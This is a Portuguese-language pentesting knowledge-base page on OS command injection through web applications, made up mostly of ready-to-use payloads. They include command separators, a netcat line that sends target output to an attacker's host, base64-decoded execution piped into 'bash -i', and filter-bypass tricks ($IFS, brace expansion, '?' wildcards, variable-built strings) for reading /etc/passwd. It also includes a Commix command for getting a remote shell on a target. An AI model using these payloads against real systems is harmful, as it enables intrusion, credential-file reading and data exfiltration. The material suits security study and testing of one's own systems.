> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/injections/command-injection.md).

# Command Injection

Assim como vários outros tipos de injections, este também executa comandos porém diretamente no SO através de uma aplicação web.<br>

### Inserindo Comandos

Quando a aplicação web nos permite inserir alguma string e este vira um comando no SO, podemos adicionar um dos caracteres `;`, `|`, `||`, `&`, `&&`, `%0a`, `\n` e `0x0a` (esse dois último servem para dar uma quebra de linha) para inserir comandos arbitrários. Por exemplo:

```bash
pwd ; ls
pwd | ls
pwd || ls
pwd & ls
pwd && ls
pwd %0a ls
pwd \n ls
pwd 0x0a ls
```

Deixando esse ataque um pouco mais avançado, podemos canalizar a saída para nosso host através do netcat.

```bash
# Atacante
nc -vlp <port>

# Alvo
; ls -la | nc <ip_hacker> <port>
```

Podemos também inserir comandos sem precisar dividí-lo em vários comandos. Para isso use um dos exemplos abaixo:

```bash
`<command>`
$(<command>)

# Os dois comandos abaixo perdem a funcionalidade quando tem um por exemplo um "echo" antes
'<command>'
"<command>"

# Atribuindo valor a variável
MYVAR=MyValue <command>
```

Há também como codificar em base64 e executar

```bash
$(echo <comando_em_base64> | base64 -d)
```

**OBS.:** Caso não queira executar os dois comandos, escreva tudo em uma só linha, irá dar um erro de sintaxe, porém irá conseguir executar os comandos, exemplo:

```bash
ping <ip> -c1 $(cat /etc/passwd)
```

###

### Bypass em Qualquer Caractere Alfanumérico

Podemos substituir qualquer caractere alfanumérico substituindo por `?`. Por exemplo, o comando `cat /etc/passwd` ficará `cat /??c/p?ss??`, `/bin/bash` ficará `/??n/ba??`. Coloque a `?` onde quiser, desde que não coincida com dois ou mais arquivos compatíveis com a mesma expressão regular.

###

### Bypass com Espaço

Algumas aplicações podem bloquear o caractere de espaço mas podemos contornar isso utilizando o `IFS (Internal Field Separator)`, que é uma variável de ambiente de espaço

```bash
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
{echo,bXlzdGhlcgo=}|{base64,-d}
{ls,-lha,/etc/passwd}
{cat,/etc/pas?w?}
bash${IFS}-c${IFS}"{echo,aWQK}|{base64,-d}|{bash,-i}"
{bash,-c,id}
```

Também podemos fazer de outra maneira, utilizando no mínimo dois comandos, como nos exemplos abaixo:

```bash
{echo,i,am,mysther}
{ls,-lha}
{cat,/etc/passwd}
```

O Linux também permite chamar um determinado comando a passar o nome do arquivo para ele, como nos exemplos abaixo

```bash
cat</etc/passwd
cat<$x$x/$x$x/$x$x/$x$x/etc/passwd
IFS=,;`cat<<<cat,/etc/passwd`
```

Criando variáveis que contém partes de um comando e depois executando, também pode ser uma boa maneira de executar códigos

```bash
c=cat
a=/et
Z=c
a=$a$Z
Z=/
a=$a$Z
Z=p
a=$a$Z
Z=a
a=$a$Z
Z=s
a=$a$Z
a=$a$Z
Z=w
a=$a$Z
Z=d
a=$a$Z
$c<$a
```

###

### Commix

Commix é uma ferramenta que gera uma shell, baseando em uma URL que permite inserir comandos no SO.\
Utilize o comando abaixo para ter um shell do servidor alvo:

```bash
python commix.py -u http://sitevulneravel/vulnerabilities/ --data="ip=INJECTION_HERE&submit=submit" --cookie="<cookie>"
```

Observe que o parâmetro `ip` está com o valor `INJECTION HERE`, pois é neste campo que o Commix irá utilizar para inserir o payload para fazer a shell remota.

####

#### Sites

```bash
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command Injection
```
